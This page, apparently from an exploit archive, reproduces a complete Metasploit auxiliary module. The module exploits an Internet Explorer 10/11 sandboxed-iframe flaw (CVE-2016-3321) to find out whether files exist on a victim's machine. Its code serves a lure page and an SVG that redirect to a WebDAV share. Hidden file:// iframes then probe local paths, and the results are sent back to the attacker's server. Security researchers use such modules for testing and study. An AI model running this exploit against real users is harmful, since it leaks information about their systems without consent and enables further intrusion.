Exploit

 

Internet Explorer iframe sandbox local file name disclosure vulnerability

ie_sandbox_findfiles.rb:

##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary

   include Msf::Exploit::Remote::HttpServer::HTML

   def initialize(info={})
      super(update_info(info,
         'Name'                => 'Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability',
         'Description'      => %q{
            It was found that Internet Explorer allows the disclosure of local file names.
            This issue exists due to the fact that Internet Explorer behaves different for
            file:// URLs pointing to existing and non-existent files. When used in
            combination with HTML5 sandbox iframes it is possible to use this behavior to
            find out if a local file exists. This technique only works on Internet Explorer
            10 & 11 since these support the HTML5 sandbox. Also it is not possible to do
            this from a regular website as file:// URLs are blocked all together. The attack
            must be performed locally (works with Internet zone Mark of the Web) or from a
            share.
         },
         'License'            => MSF_LICENSE,
         'Author'             => 'Yorick Koster',
         'References'       =>
            [
               ['CVE', '2016-3321'],
               ['MSB', 'MS16-095'],
               ['URL', 'https://securify.nl/advisory/SFY20160301/internet_explorer_iframe_sandbox_local_file_name_disclosure_vulnerability.html'],
            ],
         'Platform'          => 'win',
         'Targets'            =>
            [
               [ 'Internet Explorer', {} ],
            ],
         'DisclosureDate' => "Aug 9 2016",
         'DefaultTarget'   => 0
      ))

      register_options(
         [
            OptString.new('SHARENAME', [ true, "The name of the top-level share.", "falcon" ]),
            OptString.new('PATHS', [ true, "The list of files to check (comma separated).", "Testing/Not/Found/Check.txt, Windows/System32/calc.exe, Program Files (x86)/Mozilla Firefox/firefox.exe, Program Files/VMware/VMware Tools/TPAutoConnSvc.exe" ]),
         ], self.class)

      # no SSL
      deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT', 'URIPATH')
   end

   def js
      my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

      %Q|function report() {
   if(window.location.protocol != 'file:') {
      try {
         window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';
      } catch (e) { }
      return;
   }

   var frames = document.getElementsByTagName('iframe');
   for(var i = 0; i < frames.length; i++) {
   try {
         if(frames[i].name == 'notfound') {
            frames[i].src = 'http://#{my_host}/notfound/?f=' + frames[i].src;
         }
         else {
            frames[i].src = 'http://#{my_host}/found/?f=' + frames[i].src;
         }
      } catch(e) { }
   }
}|
   end

   def html
      frames = ""
      datastore['PATHS'].split(',').each do |path|
         frames = frames + "<iframe src=\"file:///#{path.strip}\" onload=\"this.name='notfound'\" style=\"display:none;\" sandbox></iframe>"
      end

      %Q|<!DOCTYPE html>
<html>
<head>
<script type="text/javascript">
#{js}
</script>
</head>
<body>
#{frames}
<script type="text/javascript">
   setTimeout('report();', 2000);
</script>
</body>
</html>|
   end

   def svg
      my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

      %Q|<!-- saved from url=(0014)about:internet -->
<svg width="100px" height="100px" version="1.1" onload="try{ location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html'; } catch(e) { }" xmlns="http://www.w3.org/2000/svg"></svg>|
   end

   def is_target_suitable?(user_agent)
      if user_agent =~ /^Microsoft-WebDAV-MiniRedir/
         return true
      end

      info = fingerprint_user_agent(user_agent)
      if info[:ua_name] == HttpClients::IE
         return true
      end

      false
   end

   def on_request_uri(cli, request)
      my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

      case request.method
      when 'OPTIONS'
         process_options(cli, request)
      when 'PROPFIND'
         process_propfind(cli, request)
      when 'GET'
         unless is_target_suitable?(request.headers['User-Agent'])
            print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 image.svg")
            resp = create_response(200, "OK")
            resp.body = svg
            resp['Content-Type'] = 'image/svg+xml'
            resp['Content-Disposition'] = 'attachment;filename=image.svg'
            cli.send_response(resp)
         end

         case request.uri
         when /^\/found\/\?f=/
            f = URI.unescape(request.uri.gsub('/found/?f=', ''))
            report_note(host: cli.peerhost, type: 'ie.filenames', data: f)
            print_good("Found file " + f)
            send_response(cli, '')
         when /^\/notfound\/\?f=/
            f = URI.unescape(request.uri.gsub('/notfound/?f=', ''))
            print_error("The file " + f + " does not exist")
            send_response(cli, '')
         when "/"
            resp = create_response(200, "OK")
            resp.body = %Q|<html>
<head>
<script type="text/javascript">
   try {
      window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';
   } catch (e) {
      blob = new Blob([atob('#{Rex::Text.encode_base64(svg)}')]);
      window.navigator.msSaveOrOpenBlob(blob, 'image.svg');
   }
</script>
</head>
<body>
</body>
</html>|

            resp['Content-Type'] = 'text/html'
            cli.send_response(resp)
         else
            print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 returning landing page")
            send_response(cli, html)
         end
      else
         print_status("#{request.method} #{request.uri} => 404")
         resp = create_response(404, "Not Found")
         resp.body = ""
         resp['Content-Type'] = 'text/html'
         cli.send_response(resp)
      end
   end

   #
   # OPTIONS requests sent by the WebDav Mini-Redirector
   #
   def process_options(cli, request)
      print_status("OPTIONS #{request.uri}")
      headers = {
         'MS-Author-Via' => 'DAV',
         'DASL'               => '<DAV:sql>',
         'DAV'                => '1, 2',
         'Allow'             => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
         'Public'            => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
         'Cache-Control' => 'private'
      }

      resp = create_response(207, "Multi-Status")
      headers.each_pair {|k,v| resp[k] = v }
      resp.body = ""
      resp['Content-Type'] = 'text/xml'
      cli.send_response(resp)
   end

   #
   # PROPFIND requests sent by the WebDav Mini-Redirector
   #
   def process_propfind(cli, request)
      path = request.uri
      print_status("PROPFIND #{path}")
      body = ''

      my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
      my_uri = "http://#{my_host}/"

      if path !~ /\/$/

         if path.index(".")
            print_status "PROPFIND => 207 File (#{path})"
            body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
            # send the response
            resp = create_response(207, "Multi-Status")
            resp.body = body
            resp['Content-Type'] = 'text/xml; charset="utf8"'
            cli.send_response(resp)
            return
         else
            print_status "PROPFIND => 301 (#{path})"
            resp = create_response(301, "Moved")
            resp["Location"] = path + "/"
            resp['Content-Type'] = 'text/html'
            cli.send_response(resp)
            return
         end
      end

      print_status "PROPFIND => 207 Directory (#{path})"
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|

      if request["Depth"].to_i > 0
         trail = path.split("/")
         trail.shift
         case trail.length
         when 0
            body << generate_shares(path)
         when 1
            body << generate_files(path)
         end
      else
         print_status "PROPFIND => 207 Top-Level Directory"
      end

      body << "</D:multistatus>"

      body.gsub!(/\t/, '')

      # send the response
      resp = create_response(207, "Multi-Status")
      resp.body = body
      resp['Content-Type'] = 'text/xml; charset="utf8"'
      cli.send_response(resp)
   end

   def generate_shares(path)
      share_name = datastore['SHARENAME']
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
   end

   def generate_files(path)
      trail = path.split("/")
      return "" if trail.length < 2

      %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}index.html</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
   end

   def gen_timestamp(ttype=nil)
      ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
   end

   def gen_datestamp(ttype=nil)
      ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
   end

   def run
      datastore['URIPATH'] = '/'
      datastore['SRVPORT'] = 80
      exploit
   end
end

download

Latest News & Research

Work with us →